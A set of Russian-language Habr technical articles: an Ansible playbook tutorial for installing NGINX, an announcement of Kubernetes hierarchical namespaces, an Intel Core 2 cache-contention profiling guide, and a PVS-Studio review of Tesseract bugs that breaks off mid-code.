Мы создадим Playbook, который будет устанавливать веб-сервер на хост RHEL/CentOS 7 и создавать на нем файл index.html на основе шаблона, указанного в сценарии. Приведенный здесь пример сценария полностью работоспособен и готов к использованию. Ниже мы рассмотрим пример сценария Playbook и покажем, как использовать модули.
### Авторы (Authors)
Автор – это тот, кто создает инструкции, которые будут выполняться модулями (зачастую вместе с дополнительными значениями: аргументами, местоположениями и т. п.). Модули выполняются на целевом хосте в том порядке, в каком они следуют в сценарии Playbook (включая include’ы и другие входящие в него дополнительные файлы). Состояние хоста меняется (или не меняется) в зависимости от результатов выполнения модуля, которые отображаются в виде вывода Ansible и Tower.
### Выполнение сценария Playbook
Для начала нужно уяснить несколько вещей по выполнению сценариев Playbook. Playbook – это некая система условных знаков, сообщающая модулю о необходимости выполнить какую-то задачу. Для успешного запуска Playbook важно понимать следующие моменты:
**1. Целевая система (Target)**
Поскольку сценарии Playbook выдают указания модулям и обеспечивают взаимодействие с ними, Ansible считает, что вы разбираетесь в том, что пытаетесь сделать, и просто автоматизирует это. Именно поэтому мы и говорим, что Playbooks – это как инструкции или указания: вы говорите автоматизированным элементам, как хотите сконфигурировать задачу. Но при этом вам нужно самому хорошо понимать, как работает целевой хост, на котором выполняется сценарий Playbook.
**2. Задачи (Tasks)**
Если в какой-то части Playbook требуется запустить веб-сервер, вам надо понимать, как это делается, чтобы знать, какой именно служебный модуль для этого использовать, и запустить веб-сервер по имени. Если Playbook устанавливает пакет ПО, вы должны знать, как это делается на целевом хосте. Вы также должны понимать, хотя бы на базовом уровне, суть выполняемых задач. Требуется ли дополнительная настройка хоста для ПО, которое вы хотите установить? Есть ли ветвления в зависимости от условий и значений аргументов? Если в процессе передаются какие-то переменные, вы должны точно понимать, какие и зачем.
**Пример сценария Playbook**
Приведенный ниже пример сценария Playbook поможет уяснить то, что вы только что прочитали. Целевым хостом в нем выступает сервер RHEL/CentOS 7, на который наш сценарий устанавливает веб-сервер NGINX, а затем создает файл index.html в каталоге webroot по умолчанию. После выполнения установки и создания индекса, выполняется запуск веб-сервера.
*\*Примечание: для запуска этого примера сценария Playbook в Ansible Tower требуется предварительно настроить inventory и аккаунты.*
Playbooks начинается с трех дефисов YAML (---), за которыми следуют:
**Name**: просто имя сценария, чтобы сохранить удобочитаемость Playbook.
**Hosts**: список целевых хостов, на которых должен отработать Ansible.
**Become**: здесь мы прописали истинное утверждение, чтобы удостовериться, что nginx установился без проблем (это поле требуется не всегда).
```
1 ---
2 - name: Install nginx
3 hosts: host.name.ip
4 become: true
```
С тем отступом, что и три предыдущих строки, идет директива **tasks**:, после которой с дополнительным отступом (согласно правилам вложенности YAML) перечисляются задачи (plays). В этом примере у нас две задачи, и обе используют модуль Yum. Первая задача добавляет репозиторий epel-release, чтобы можно было установить nginx. После того, как в системе появится epel, вторая задача устанавливает пакет nginx.
Директива **state**: означает, что Ansible должен проверить состояние целевого хоста, прежде чем выполнять любые дальнейшие действия. В нашем примере, если репозиторий или nginx на хосте уже есть, Ansible понимает, что выполнять эти две задачи не нужно, и переходит к следующим.
```
1 tasks:
2 - name: Add epel-release repo
3 yum:
4 name: epel-release
5 state: present
6
7 - name: Install nginx
8 yum:
9 name: nginx
10 state: present
```
Страница загрузки, которая используется в nginx по умолчанию, отлично подходит, чтобы проверить, что nginx установился правильно, но вам, скорее всего, захочется сделать это с помощью своего стартового html-файла. В этом примере для простоты шаблон index-файла находится в том же каталоге, откуда запускается Playbook. Destination – это просто путь по умолчанию в nginix без настроенных сайтов.
```
1 - name: Insert Index Page
2 template:
3 src: index.html
4 dest: /usr/share/nginx/html/index.html
```
Последняя строка в нашем Playbook служит лишь для того, чтобы проверить, что служба nginx была успешно запущена (или запустить ее, если нет).
```
1 - name: Start NGiNX
2 service:
3 name: nginx
4 state: started
```
Весь сценарий Playbook получился примерно такой же длины, что и вступительный абзац в этом посте:
```
1 ---
2 - name: Install nginx
3 hosts: host.name.ip
4 become: true
5
6 tasks:
7 - name: Add epel-release repo
8 yum:
9 name: epel-release
10 state: present
11
12 - name: Install nginx
13 yum:
14 name: nginx
15 state: present
16
17 - name: Insert Index Page
18 template:
19 src: index.html
20 dest: /usr/share/nginx/html/index.html
21
22 - name: Start NGiNX
23 service:
24 name: nginx
25 state: started
```
### Резюме
Сценарии Playbook – это простой и удобный способ сделать много дел малым количеством кода. В рассмотренном выше примере мы использовали три модуля – yum, template и service, чтобы установить на сервер репозиторий и пакет ПО, создать файл из локального шаблона и затем запустить только что установленную службу. При этом наш сценарий Playbook вышел чуть длиннее этого предложения! И хотя мы выполняли его на одном хосте, он с тем же успехом может сделать это и на десятках и сотнях серверов, для этого лишь требуется внести в него совсем небольшие изменения. Кроме того, Tower позволяет поместить сценарий Playbook в шаблон задания для запуска на группе серверов в облаке AWS или в корпоративном дата-центре.
Архитектурные особенности Ansible и возможность интеграции с CI-системами, наподобие Jenkins, обеспечивают автоматизацию не только процессов управления конфигурациями, но и гораздо более широкого круга ИТ-задач. Именно поэтому мы ласково зовем Ansible комплексной системой оркестрации, а не просто инструментом развертывания ПО и управления конфигурациями. | https://habr.com/ru/post/412725/ | null | ru | null |
# Анонс иерархических пространств имен для Kubernetes
***Прим. перев.**: недавно в блоге Kubernetes был представлен проект «иерархических пространств имён». Формально он существует с конца прошлого года, но именно теперь авторы сочли уместным анонсировать свой Hierarchical Namespace Controller (HNC) для массовой аудитории. О предназначении и деталях реализации — читайте в этом материале, который мы также дополнили переводом [дорожной карты HNC](https://github.com/kubernetes-sigs/multi-tenancy/tree/master/incubator/hnc#roadmap-and-issues).*
Безопасно разместить большое число пользователей в одном кластере Kubernetes всегда было непросто. Главная причина в том, что все организации используют Kubernetes по-разному, поэтому единая мультипользовательская модель вряд ли всем подойдет. Вместо этого Kubernetes предлагает компоненты для создания собственного решения, такие как управление доступом на основе ролей (RBAC) и NetworkPolicies; чем лучше эти компоненты, тем легче построить безопасный многопользовательский кластер.
Namespace'ы спешат на помощь
----------------------------
Безусловно, наиболее важными из этих компонентов являются [пространства имен](https://kubernetes.io/docs/concepts/overview/working-with-objects/namespaces/). Они выступают основой практически всех политик безопасности и совместного использования control plane в Kubernetes. Например, RBAC, NetworkPolicies и ResourceQuotas по умолчанию поддерживают пространства имен, а объекты вроде Secret, ServiceAccount и Ingress свободно доступны в рамках *одного* пространства, но полностью изолированы от *других*.
У namespace'ов есть пара ключевых особенностей, благодаря которым они идеально подходят для применения политик. Во-первых, их можно использовать для **представления собственности**. Большинство объектов Kubernetes *должны* входить в какое-либо пространство имен. Используя namespace'ы для представления собственности, вы всегда можете рассчитывать на то, что у этих объектов имеется владелец.
Во-вторых, создавать и использовать пространства имен могут **только пользователи с соответствующим правами**. Для создания namespace'ов нужны расширенные привилегии, а остальным пользователям требуется явное разрешение на работу с ними — то есть на создание, просмотр или изменение объектов в этих пространствах имен. Таким образом, сначала создается namespace с тщательно продуманным набором политик, и только после этого непривилегированные пользователи имеют возможность создавать «обычные» объекты вроде pod'ов и сервисов.
Ограничения namespace'ов
------------------------
Увы, на практике пространства имен недостаточно гибки и плохо вписываются в некоторые распространенные сценарии использования. Например, некая команда владеет несколькими микросервисами с разными секретами и квотами. В идеале им следовало бы разнести эти сервисы по отдельным пространствам имен, чтобы изолировать их друг от друга, но тут возникают две проблемы.
Во-первых, у этих namespace'ов отсутствует единая концепция владения, хотя ими обоими владеет одна команда. Это означает, что не только Kubernetes ничего не знает о том, что у этих namespace'ов один владелец, но и отсутствует возможность применять глобальные политики сразу ко всем подконтрольным namespace'ам.
Во-вторых, как известно, автономность — залог эффективной работы команд. Поскольку создание namespace'ов требует расширенных привилегий, маловероятно, что эти привилегии окажутся у кого-либо из команды разработчиков. Другими словами, всякий раз, когда команда решает создать новое пространство имен, ей приходится обращаться к администратору кластера. Это может быть вполне приемлемо для небольшой компании, однако по мере роста все сильнее проявляется негативный эффект от подобной организации.
Представляем иерархические пространства имен
--------------------------------------------
[Иерархические namespace'ы](https://github.com/kubernetes-sigs/multi-tenancy/blob/master/incubator/hnc/docs/user-guide/concepts.md#basic) — новая концепция, разработанная рабочей группой Kubernetes по multi-tenancy ([wg-multitenancy](https://github.com/kubernetes-sigs/multi-tenancy)), чтобы решить эти проблемы. В упрощенном виде иерархический namespace представляет собой обычное пространство имен Kubernetes со включением небольшого custom-ресурса, который указывает на одно (необязательное) родительское пространство имен. Тем самым концепция владения расширяется *на сами* пространства имен, а не только на объекты *внутри* их.
Концепция владения также реализует два дополнительных типа отношений:
* **Наследование политик**: если один namespace является потомком другого, объекты, имеющие отношение к политике, такие как RoleBindings в RBAC, [копируются](https://github.com/kubernetes-sigs/multi-tenancy/blob/master/incubator/hnc/docs/user-guide/concepts.md#basic-propagation) из родительского пространства в дочернее.
* **Делегированное создание**: обычно для создания namespace'а требуются привилегии на уровне кластера. Иерархические пространства имен предлагают альтернативу: [*subnamespaces*](https://github.com/kubernetes-sigs/multi-tenancy/blob/master/incubator/hnc/docs/user-guide/concepts.md#basic-subns), для работы с которыми достаточно ограниченных прав из родительского пространства.
Тем самым решаются обе проблемы типичной dev-команды. Администратор кластера может создать для нее одно «корневое» пространство вместе с необходимыми политиками и делегировать полномочия на создание подпространств участникам команды. Таким образом, разработчики смогут создавать подпространства имен для собственного использования, не нарушая политик, установленных администраторами кластера.
Немного практики
----------------
Иерархические namespace'ы реализованы с помощью расширения Kubernetes под названием [**Hierarchical Namespace Controller**](https://github.com/kubernetes-sigs/multi-tenancy/tree/master/incubator/hnc) или **HNC**. HNC состоит из двух компонентов:
* **Manager** работает в кластере, управляет подпространствами имен, распространяет policy-объекты, гарантирует допустимость выстроенных иерархий и управляет точками расширения.
* **Плагин kubectl** под названием `kubectl-hns` позволяет пользователям взаимодействовать с manager'ом.
Руководство по установке компонентов можно найти на странице [releases](https://github.com/kubernetes-sigs/multi-tenancy/releases) в репозитории проекта.
Давайте посмотрим на работу HNC. Предположим, у меня нет привилегий на создание namespace'ов, но я могут просматривать пространство имен `team-a` и создавать subnamespace'ы в нем\*. Плагин позволяет мне ввести следующую команду:
```
$ kubectl hns create svc1-team-a -n team-a
```
*\* Технически говоря, вы создаете небольшой объект под названием «subnamespace anchor» («подпространственный якорь») в родительском пространстве и затем HNC создает subnamespace.*
В результате будет создано пространство имен `svc1-team-a`. Обратите внимание, что subnamespace'ы ничем не отличаются от обычных пространств имен Kubernetes, поэтому их названия должны быть уникальными.
Просмотреть получившуюся структуру можно с помощью команды `tree`:
```
$ kubectl hns tree team-a
# Output:
team-a
└── svc1-team-a
```
Если в родительском пространстве имеются какие-либо политики, они будут скопированы и в дочернее\*. Предположим, например, что в `team-a` есть RBAC RoleBinding под названием `sres`. Этот RoleBinding также появится и в соответствующем подпространстве имен:
```
$ kubectl describe rolebinding sres -n svc1-team-a
# Output:
Name: sres
Labels: hnc.x-k8s.io/inheritedFrom=team-a # inserted by HNC
Annotations:
Role:
Kind: ClusterRole
Name: admin
Subjects: …
```
*\* По умолчанию распространяются только Roles и RoleBindings в RBAC, но можно настроить HNC на распространение любого объекта Kubernetes.*
Наконец, HNC добавляет к этим пространствам имен метки с полезной информацией об иерархии. Их можно использовать для применения других политик. Например, можно создать следующую NetworkPolicy:
```
kind: NetworkPolicy
apiVersion: networking.k8s.io/v1
metadata:
name: allow-team-a
namespace: team-a
spec:
ingress:
- from:
- namespaceSelector:
matchExpressions:
- key: 'team-a.tree.hnc.x-k8s.io/depth' # Label created by HNC
operator: Exists
```
Эта политика будет распространена на потомков `team-a`, а *также* разрешит ingress-трафик между всеми этими пространствами имен. Только HNC может присваивать метку «tree». Она гарантированно отражает текущую иерархию.
Подробности о функционале HNC можно получить в [руководстве пользователя](https://github.com/kubernetes-sigs/multi-tenancy/tree/master/incubator/hnc/docs/user-guide).
Дальнейшие шаги и участие в процессе
------------------------------------
Если вы считаете, что иерархические namespace'ы пригодятся в вашей организации, [версия HNC v0.5.1 доступна на GitHub](https://github.com/kubernetes-sigs/multi-tenancy/releases/tag/hnc-v0.5.1) *(с 28 августа доступен [релиз v0.5.2](https://github.com/kubernetes-sigs/multi-tenancy/releases/tag/hnc-v0.5.2) — прим. перев.)*. Мы бы хотели узнать, что вы думаете о ней, какие проблемы решаете с ее помощью и какие функции хотели бы в нее добавить. Как и в случае с любым ПО на начальных этапах разработки, необходимо соблюдать осторожность при использовании HNC в production. При этом чем больше обратной связи мы получим, тем быстрее сможем прийти к HNC 1.0.
Мы также приветствуем вклад сторонних contributor'ов, будь то исправление ошибок/информация о них или помощь в создании прототипов новых функций, таких как исключения, улучшенный мониторинг, иерархическое квотирование ресурсов или оптимизация конфигурации.
Связаться с нами можно в [репозитории](https://github.com/kubernetes-sigs/multi-tenancy), [рассылке](https://groups.google.com/g/kubernetes-wg-multitenancy) или в [Slack](https://kubernetes.slack.com/messages/wg-multitenancy). С нетерпением ждем ваших комментариев!
*Автор оригинального анонса — [Adrian Ludwin](https://twitter.com/aludwin), инженер-программист и технический руководитель Hierarchical Namespace Controller.*
Бонус! Дорожная карта и issues
------------------------------
Пожалуйста, создавайте issues — чем больше, тем веселее! Баги будут анализироваться в первую очередь, а для feature request'ов будет определяться приоритет, после чего их включат в план работ или в бэклог.
HNC пока еще не получил статус GA, поэтому будьте осторожны при его использовании в кластерах с конфигурационными объектами, которые не можете позволить себе потерять (например, с теми, которые не хранятся в репозитории Git).
Все issues HNC включаются в соответствующий план работ. На данный момент реализованы или намечены следующие основные этапы этого плана:
* v1.0: конец I — начало II квартала 2021-го; HNC рекомендован для production.
* v0.8: начало 2021-го; могут появиться новые критически важные функции.
* v0.7: конец 2020-го; скорее всего, появится v1beta1 API.
* [v0.6](https://github.com/kubernetes-sigs/multi-tenancy/milestone/14): запланирована на октябрь 2020-го; реализация v1alpha2 API и полностью автоматизированное сквозное тестирование.
* [v0.5](https://github.com/kubernetes-sigs/multi-tenancy/milestone/13): вышла в июле 2020-го; упрощение функционала, улучшение тестирования и повышение стабильности.
* [v0.4](https://github.com/kubernetes-sigs/multi-tenancy/milestone/11): вышла в июне 2020-го; стабилизация API и добавление production-функционала.
* [v0.3](https://github.com/kubernetes-sigs/multi-tenancy/milestone/10): вышла в апреле 2020-го; конфигурирование типов и улучшение UX в области работы с subnamespace'ами.
* [v0.2](https://github.com/kubernetes-sigs/multi-tenancy/milestone/8): вышла в декабре 2019-го; содержит достаточный функционал для применения в средах категории non-production.
* [v0.1](https://github.com/kubernetes-sigs/multi-tenancy/milestone/7): вышла в ноябре 2019-го; первый релиз со всем необходимым функционалом. Его можно попробовать, но он не походит для каких-либо реальных рабочих нагрузок.
* [Бэклог](https://github.com/kubernetes-sigs/multi-tenancy/milestone/9): все внеплановые работы.
P.S. от переводчика
-------------------
Читайте также в нашем блоге:
* «[Проектирование Kubernetes-кластеров: сколько их должно быть?](https://habr.com/ru/company/flant/blog/498100/)»;
* «[Азбука безопасности в Kubernetes: аутентификация, авторизация, аудит](https://habr.com/ru/company/flant/blog/468679/)»;
* «[Понимаем RBAC в Kubernetes](https://habr.com/ru/company/flant/blog/422801/)». | https://habr.com/ru/post/517478/ | null | ru | null |
# Поиск и решение проблем масштабируемости на примере многоядерных процессоров Intel Core 2 (часть 4)
Продолжение статьи: [часть 1](http://habrahabr.ru/blogs/hi/107620/), [часть 2](http://habrahabr.ru/blogs/hi/107621/), [часть 3](http://habrahabr.ru/blogs/hi/107622/)
Вероятно, наиболее простым примером, может послужить алгоритм параллельного суммирования значений элементов массива. В таком случае каждый поток суммировал бы свой набор элементов. Этот алгоритм мог бы выглядеть следующим образом:
```
int sum(int* data, int* sum, int size, int tid)
{
int i;
for(i=0; i < size; i++)
*sum += data[i]*data[i];
return *sum;
}
```
Если указатель «sum» объявлен как простой массив с индексом, являющимся идентификатором потока, то мы можем столкнуться с конкуренцией параллельных потоков за кэш-линию, содержащую элемент массива. Вообще говоря, компилятор мог бы суммировать значения массива в регистре-аккумуляторе (снимая необходимость в переменной «sum»), и, таким образом, избежать проблемы, что, собственно, и делает компилятор Intel.
Однако не все компиляторы столь сообразительны. Если функция объявлена так:
`int sum(int* data, volatile int* sum, int size, int tid)`
то компилятору запрещено перенести «sum» в регистровую память, что гарантирует сражение за КЭШ-линию. Обозначенные выше события польются рекой.
В качестве второго примера возьмем очень простой трижды вложенный цикл перестановок в массиве, превосходно подходящий для нашего обсуждения.
```
#define MAXTHR 4
#define ITERS 1000
#define SIZE 1000
int aa[MAXTHR][SIZE];
volatile int i[MAXTHR], j[MAXTHR], k[MAXTHR], n[MAXTHR], tmp[MAXTHR];
int sort(int *a, int size, int tid) //a = aa[tid][0]
{
n[tid] = 0;
for (k[tid]=0; k[tid] < ITERS/2; k[tid]++){
for (i[tid] = 0; i[tid] < size-1; i[tid]++){
for (j[tid] = i[tid]+1; j[tid] < size; j[tid]++){
if (a[i[tid]] > a[j[tid]]){
tmp[tid] = a[i[tid]];
a[i[tid]] = a[j[tid]];
a[j[tid]] = tmp[tid];
n[tid]++;
} } }
for (i[tid] = 0; i[tid] < size-1; i[tid]++){
for (j[tid] = i[tid]+1; j[tid] < size; j[tid]++){
if (a[i[tid]] < a[j[tid]]){
tmp[tid] = a[i[tid]];
a[i[tid]] = a[j[tid]];
a[j[tid]] = tmp[tid];
n[tid]++;
} } }
}
return n[tid];
}
```
Взглянув на код, становится очевидно, что индексные массивы i, j, k и массив tmp вероятнее всего окажутся в одной кэш-линии, за которую потоки и будут бороться на каждой итерации каждого цикла. Они специально объявлены как volatile, чтобы запретить компилятору разместить их в регистрах, что в принципе допускается стандартом языка. Стандарт языка вообще много чего позволяет делать с доступом к данным в целях оптимизации. Если не применить к ним что-либо вроде volatile, компилятор сам не станет задумываться о том, что эта функция должна выполняться несколькими потоками.
Текущий компилятор Intel (10.0) для архитектуры Intel 64 создаст исполняемый файл полностью свободный от ложного совместного использования кэш-линии при оптимизации O3, если объявление volatile будет удалено из вышеупомянутой функции. Ни один из локальных циклов, ни одна из временных переменных никогда не будет выгружена в память, существуя только в регистрах. Появление неблокируемого ложного совместного использования линии вообще очень сильно зависит от компилятора. Вариаций на эту тему становится неисчислимо много, когда программист начинает использовать оптимизации вроде inline-функций, разбивку функций на части и так далее.
Допустим, мы собрали данные при помощи VTune Analyzer, далее смотрим зависимости между количествами события. Количество EXT\_SNOOP.ALL\_AGENTS\_HITM приблизительно равно BUS\_HITM\_DRV. Обратим внимание на то, как ведет себя приложение от запуска к запуску, что происходит с событиями. MEM\_LOAD\_RETIRED.L2\_MISS намного больше чем MEM\_LOAD\_RETIRED.L2\_LINE\_MISS. Количество MEM\_LOAD\_RETIRED.L2\_LINE\_MISS намного меньше, чем количество кэш-линий, переданных на шине, судя по BUS\_TRANS\_BURST.SELF. Наибольший вклад вносят запросы на монопольное использование (RFO), измеряемые событием BUS\_TRANS\_RFO.SELF. Оцениваем вклад RFO в трафик по шине, измеренный BUS\_TRANS\_BURST.SELF.
Остаток оценивается в общих чтениях, измеряемых BUS\_TRANS\_BRD.SELF. Событие L2\_LD.SELF полезно для выяснения состояния кэш-линии, особенно если влияние аппаратных блоков предвыборки очень сильно.
Следовательно, для того, чтобы определить, имеет ли место конкуренция за кэш-линии, разумно было бы собрать данные при однопоточном счете, чтобы определить базовые значения, а уже потом – при многопоточном. Чтобы идентифицировать ложное совместное использование линии, вероятно, лучше всего смотреть на MEM\_LOAD\_RETIRED.L2\_MISS, сравнивая количества и расположение пиков этого события при просмотре исходного кода в VTune Analyzer. Обычно все сразу становится понятно, если при этом также обратить внимание на EXT\_SNOOPS.ALL\_AGENTS.HITM.
Поиск конфликтов блокировки доступа также довольно прост. Событие L2\_LOCK.SELF.E\_STATE происходит всякий раз, когда блокировка доступа (кроме инструкции xchg) используются для создания мьютекс-блокировки. Если блокированный элемент была изменен, тогда произойдет также событие L2\_LOCK.SELF.M\_STATE. Из-за блока предвыборки IP событие MEM\_LOAD\_RETIRE.L2\_LINE\_MISS не эффективно для нашего поиска. В таком случае, пики MEM\_LOAD\_RETIRED.L2\_MISS совместно с L2\_LD.LOCK.E\_STATE при просмотре исходного кода в VTune Analyzer проясняют картину происшествия. EXT\_SNOOP.HITM.ALL\_AGENTS опять же присутствует в этих случаях.
Конкуренция за блокированную кэш-линию часто обусловлена использованием API синхронизации. Рассмотренный выше примитивный анализ собранных данных вероятно покажет, что приложение тратит произвольную часть времени в цикле ожидания синхронизации. В таком случае необходимо найти, где вызывается этот API, чтобы понять, можно ли изменением кода уменьшить последовательность выполнения, вызванную блокировками переменных. Местоположение этих «бутылочных горлышек» можно быстро определить, используя граф вызовов в VTune Analyzer или Intel Thread Profiler.
В то время как конкуренция за кэш-линии характерна для модели параллелизации с общей памятью, чрезмерное падение масштабируемости также возможно из-за злоупотребления синхронизацией операций в MPI. Синхронная передача сообщений, MPI\_Wait, и глобальные операции MPI (MPI\_Allreduce например) могут аналогичным образом сказаться на производительности, как и в описанных выше случаях. Intel Trace Analyzer and Collector создан как раз для поиска подобных проблем MPI. Использование этой программы просто необходимо для достижения наилучшего масштабирования MPI в среде больших кластеров на основе процессоров Intel Core 2.
#### Заключение
У процессора Intel Core 2 довольно развитая иерархия события производительности, которая очень эффективна при анализе проблем низкой скорости исполнения. Множество причин плохого масштабирования в многоядерной среде могут быть быстро и легко идентифицировано с помощью Intel VTune Performance Analyzer. Для разрешения более сложных проблем поточной синхронизации существует Intel Thread Profiler. Для MPI рекомендуется использовать Intel Trace Analyzer and Collector. | https://habr.com/ru/post/107624/ | null | ru | null |
# Tesseract. Распознаем ошибки в системе распознавания
Tesseract — свободная компьютерная программа для распознавания текстов, разрабатываемая компанией Google. В описании проекта говорится: «Tesseract is probably the most accurate open source OCR engine available». А давайте попробуем, сможет ли статический анализатор PVS-Studio распознать какие-то ошибки в этом проекте.
Tesseract
---------
Tesseract — свободная компьютерная программа для распознавания текстов, разрабатывавшаяся Hewlett-Packard с середины 1980-х по середину 1990-х, а затем 10 лет «пролежавшая на полке». В августе 2006 г. Google купил её и открыл исходные тексты под лицензией Apache 2.0 для продолжения разработки. В настоящий момент программа уже работает с UTF-8, поддержка языков (включая русский) осуществляется с помощью дополнительных модулей. [[описание](http://www.viva64.com/go.php?url=1404) взято из Wikipedia]
Исходный код проекта доступен на сайте Google Code: <https://code.google.com/p/tesseract-ocr/>
Объем исходного кода около 16 мегабайт.
Результаты проверки
-------------------
Приведу фрагменты кода, на которые я обратил внимание, просматривая отчёт PVS-Studio. Возможно я что-то упустил. Поэтому создателям Tesseract целесообразно провести проверку самостоятельно. Пробная версия, активна 7 дней, что более чем достаточно для такого небольшого проекта. Ну а потом им решать, хотят они регулярно использовать инструмент и находить опечатки, или нет.
Как всегда, напомню. [Суть](http://www.viva64.com/ru/b/0105/) статического анализа не в разовых проверках, а в регулярном использовании.
### Неудачное деление
```
void LanguageModel::FillConsistencyInfo(....)
{
....
float gap_ratio = expected_gap / actual_gap;
if (gap_ratio < 1/2 || gap_ratio > 2) {
consistency_info->num_inconsistent_spaces++;
....
}
```
Предупреждения PVS-Studio: V636 The '1 / 2' expression was implicitly casted from 'int' type to 'float' type. Consider utilizing an explicit type cast to avoid the loss of a fractional part. An example: double A = (double)(X) / Y;. language\_model.cpp 1163
Переменную 'gap\_ratio' хотят сравнить со значением 0.5. К сожалению, выбран неудачный способ записать 0.5. Деление 1/2 является целочисленным и даёт в результате 0.
Корректный код должен быть таким:
```
if (gap_ratio < 1.0f/2 || gap_ratio > 2) {
```
Или таким:
```
if (gap_ratio < 0.5f || gap_ratio > 2) {
```
Есть и другие места, где осуществляется подозрительное целочисленное деление. Возможно, среди них есть действительно неприятные ошибки.
Фрагменты кода, которые стоит проверить:* baselinedetect.cpp 110
* bmp\_8.cpp 983
* cjkpitch.cpp 553
* cjkpitch.cpp 564
* mfoutline.cpp 392
* mfoutline.cpp 393
* normalis.cpp 454
### Опечатка в сравнении
```
uintmax_t streamtoumax(FILE* s, int base) {
int d, c = 0;
....
c = fgetc(s);
if (c == 'x' && c == 'X') c = fgetc(s);
....
}
```
Предупреждение PVS-Studio: V547 Expression 'c == 'x' && c == 'X'' is always false. Probably the '||' operator should be used here. scanutils.cpp 135
Правильный вариант проверки:
```
if (c == 'x' || c == 'X') c = fgetc(s);
```
### Неопределённое поведение
Обнаружилась одна интересная конструкция. Я такого ещё не видел:
```
void TabVector::Evaluate(....) {
....
int num_deleted_boxes = 0;
....
++num_deleted_boxes = true;
....
}
```
Предупреждение PVS-Studio: V567 Undefined behavior. The 'num\_deleted\_boxes' variable is modified while being used twice between sequence points. tabvector.cpp 735
Не понятно, что хотел сказать этим кодом автор. Скорее всего этот код является последствием опечатки.
Результат выражения предсказать невозможно. Переменная 'num\_deleted\_boxes' может быть увеличена как до присваивания, так и после. Причина — переменная меняется дважды в одной [точке следования](http://www.viva64.com/ru/t/0065/).
Остальные ошибки, приводящие к неопределенному поведению, связаны с [использованием сдвигов](http://www.viva64.com/ru/b/0142/). Рассмотрим пример:
```
void Dawg::init(....)
{
....
letter_mask_ = ~(~0 << flag_start_bit_);
....
}
```
Предупреждение V610 Undefined behavior. Check the shift operator '<<. The left operand '~0' is negative. dawg.cpp 187
Выражение '~0' имеет тип 'int' и равно значению '-1'. Сдвиг отрицательных значений приводит к неопределённому поведении. То, что программа может корректно работать, является везением и не больше того. Можно исправить недочёт, сделав '0' беззнаковым:
```
letter_mask_ = ~(~0u << flag_start_bit_);
```
Однако это ещё не всё. Анализатор выдаёт на эту строку ещё одно предупреждение:
V629 Consider inspecting the '~0 << flag\_start\_bit\_' expression. Bit shifting of the 32-bit value with a subsequent expansion to the 64-bit type. dawg.cpp 187
Дело в том, что переменная 'letter\_mask\_' имеет тип 'uinT64'. Как я понимаю, может быть необходимо записывать единицы в старшие 32 бита. В таком случае, созданное выражение некорректно. Оно работает только с младшими битами.
Нужно сделать так, чтобы '0' был 64-битным типом. Исправленный вариант:
```
letter_mask_ = ~(~0ull << flag_start_bit_);
```
Перечислю списком другие фрагменты кода, где осуществляется сдвиг отрицательных чисел:* dawg.cpp 188
* intmatcher.cpp 172
* intmatcher.cpp 174
* intmatcher.cpp 176
* intmatcher.cpp 178
* intmatcher.cpp 180
* intmatcher.cpp 182
* intmatcher.cpp 184
* intmatcher.cpp 186
* intmatcher.cpp 188
* intmatcher.cpp 190
* intmatcher.cpp 192
* intmatcher.cpp 194
* intmatcher.cpp 196
* intmatcher.cpp 198
* intmatcher.cpp 200
* intmatcher.cpp 202
* intmatcher.cpp 323
* intmatcher.cpp 347
* intmatcher.cpp 366
### Подозрительное двойное присваивание
```
TESSLINE* ApproximateOutline(....) {
EDGEPT *edgept;
....
edgept = edgesteps_to_edgepts(c_outline, edgepts);
fix2(edgepts, area);
edgept = poly2 (edgepts, area); // 2nd approximation.
....
}
```
Предупреждение PVS-Studio: V519 The 'edgept' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 76, 78. polyaprx.cpp 78
Ещё один похожий случай:
```
inT32 row_words2(....)
{
....
this_valid = blob_box.width () >= min_width;
this_valid = TRUE;
....
}
```
Предупреждение PVS-Studio: V519 The 'this\_valid' variable is assigned values twice successively. Perhaps this is a mistake. Check lines: 396, 397. wordseg.cpp 397
### Неправильная последовательность инициализации членов класса
В начале рассмотрим класс 'MasterTrainer'. Обратите внимание, что член класса 'samples\_' расположен до члена 'fontinfo\_table\_':
```
class MasterTrainer {
....
TrainingSampleSet samples_;
....
FontInfoTable fontinfo_table_;
....
};
```
Согласно стандарту порядок инициализация членов класса в конструкторе происходит в порядке их объявления в классе. Это значит, что 'samples\_' будет инициализироваться ДО инициализации 'fontinfo\_table\_'.
Теперь рассмотрим конструктор:
```
MasterTrainer::MasterTrainer(NormalizationMode norm_mode,
bool shape_analysis,
bool replicate_samples,
int debug_level)
: norm_mode_(norm_mode), samples_(fontinfo_table_),
junk_samples_(fontinfo_table_),
verify_samples_(fontinfo_table_),
charsetsize_(0),
enable_shape_anaylsis_(shape_analysis),
enable_replication_(replicate_samples),
fragments_(NULL), prev_unichar_id_(-1),
debug_level_(debug_level)
{
}
```
Беда в том, что для инициализации 'samples\_' используется ещё неинициализированная переменная 'fontinfo\_table\_'.
Аналогичная ситуация в этом классе с инициализацией полей 'junk\_samples\_' и 'verify\_samples\_'.
Я не берусь сказать, как лучше поступить с этим классом. Возможно будет достаточно перенести объявление 'fontinfo\_table\_' в самое начало класса.
### Опечатка в условии
Опечатку заметить не просто, но анализатор не знает усталости.
```
class ScriptDetector {
....
int korean_id_;
int japanese_id_;
int katakana_id_;
int hiragana_id_;
int han_id_;
int hangul_id_;
int latin_id_;
int fraktur_id_;
....
};
void ScriptDetector::detect_blob(BLOB_CHOICE_LIST* scores) {
....
if (prev_id == katakana_id_)
osr_->scripts_na[i][japanese_id_] += 1.0;
if (prev_id == hiragana_id_)
osr_->scripts_na[i][japanese_id_] += 1.0;
if (prev_id == hangul_id_)
osr_->scripts_na[i][korean_id_] += 1.0;
if (prev_id == han_id_)
osr_->scripts_na[i][korean_id_] += kHanRatioInKorean;
if (prev_id == han_id_) <<<<====
osr_->scripts_na[i][japanese_id_] += kHanRatioInJapanese;
....
}
```
Предупреждение PVS-Studio: V581 The conditional expressions of the 'if' operators situated alongside each other are identical. Check lines: 551, 553. osdetect.cpp 553
Скорее всего, самое последние сравнение должно быть таким:
```
if (prev_id == japanese_id_)
```
### Ненужные проверки
Ненужно проверять, что возвращает оператор 'new'. Если не удастся выделить память, возникнет исключение. Конечно, можно сделать специальный оператор 'new', который возвращает нулевые указатели, но это отдельный случай ([подробности](http://www.viva64.com/ru/d/0293/)).
В результате, вот такую функцию можно упростить:
```
void SetLabel(char_32 label) {
if (label32_ != NULL) {
delete []label32_;
}
label32_ = new char_32[2];
if (label32_ != NULL) {
label32_[0] = label;
